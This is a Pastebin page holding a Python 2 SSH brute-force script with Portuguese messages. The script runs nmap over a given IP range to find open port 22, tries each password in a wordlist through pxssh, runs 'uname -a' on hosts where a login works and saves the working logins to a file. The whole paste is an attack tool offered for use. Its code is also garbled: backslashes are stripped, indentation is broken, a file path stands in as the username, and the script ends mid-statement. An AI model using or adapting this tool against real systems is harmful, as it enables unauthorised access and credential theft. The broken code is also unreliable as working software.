zepek_al

SSH Brute Force

Nov 5th, 2017
2,112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.35 KB | None | 0 0
  1. #!/usr/bin/python
  2. #####################
  3. #SSH BruteForcer    #
  4. # IP range          #
  5. #####################
  6. import sys, time, StringIO, commands, re
  7. save_file = "LoginsSSH.txt"
  8. verbose = 1
  9. user = "/root/exploits/usersSSH.txt"
  10.  
  11.  
  12. try:
  13.     import pexpect, pxssh
  14. except(ImportError):
  15.     print "n Voce Precisa Do Pexpect Modulo."
  16.     print " http://www.noah.org/wiki/Pexpect n"
  17.     sys.exit(1)
  18.    
  19. def scan():
  20.     ips = []
  21.     args = 'nmap -P0 '+ip_range+' -p 22 -open | grep open -B 3'
  22.     nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).readlines()
  23.     for tmp in nmap:
  24.         ipaddr = re.findall("d*.d*.d*.d*", tmp)
  25.         if ipaddr:
  26.                 ips.append(ipaddr[0])
  27.     return ips
  28.  
  29. def brute(ip, word):
  30.     if verbose != 0:
  31.         print " Testando --> ",word
  32.         try:
  33.             s = pxssh.pxssh()
  34.             s.login (ip, user, word, login_timeout=10)
  35.             s.sendline (command)
  36.             s.prompt()
  37.             print "n",s.before
  38.             s.logout()
  39.         print "t[!] Login Com Sucesso: Login -->",user,"  Senha -->",word,"n"
  40.         logins.writelines(" SSH Login: "+ip+":22 Usuario:"+user+"Senha:"+word+"n")
  41.     except Exception, e:
  42.        
  43.         pass
  44.     except KeyboardInterrupt:
  45.         print "n[-] Saindo... n"
  46.         logins.close()
  47.         sys.exit(1)
  48.  
  49. time.sleep(0.9)
  50. print "n"
  51. print "nt #######################################   "
  52. print "nt ###         Brute Force SSH         ###   "
  53. print "nt ### ***           Zepek         *** ###   "
  54. print "nt ###       Skype: live:zepek_al      ###   "
  55. print "nt ###            IP Range             ###   "
  56. print "nt #######################################   "
  57. print "n"
  58. time.sleep(0.9)
  59. print "t          Iniciando... "
  60. time.sleep(0.9)
  61. if len(sys.argv) != 3:
  62.     print "n ---> Tutorial: ./ssh.py 192.168.0.1-999 wordlist.txt"
  63.         print "n ---> Tutorial: ./ssh.py 192.168.0.1 wordlist.txt"
  64.     sys.exit(1)
  65. ip_range = sys.argv[1]
  66. command = 'uname -a'
  67. time.sleep(0.9)
  68. print "n"
  69. logins = open(save_file, "a")
  70. print "n"
  71.  
  72. try:
  73.     words = open(sys.argv[2], "r").readlines()
  74. except(IOError):
  75.     print "n[-] ERRO : Selecione O Local De Sua Wordlist n"
  76.     sys.exit(1)
  77.  
  78. print "n[+] Carregado: ",len(words),"senhas"
  79. print "[+] Usuario: ",user
  80. print "[+] Arquivo Salvo: ",save_file
  81. if verbose != 0:
  82.     print "[+] Modo Verbose: On"
  83. else:
  84.     print "[+] Modo Verbose: Off"
  85. print "[+] Scaneando: ",ip_range
  86. print "n"
  87. print "    Aguarde... "
  88.  
  89. ips = scan()
  90. if len(ips)
Advertisement
Add Comment
Please, Sign In to add comment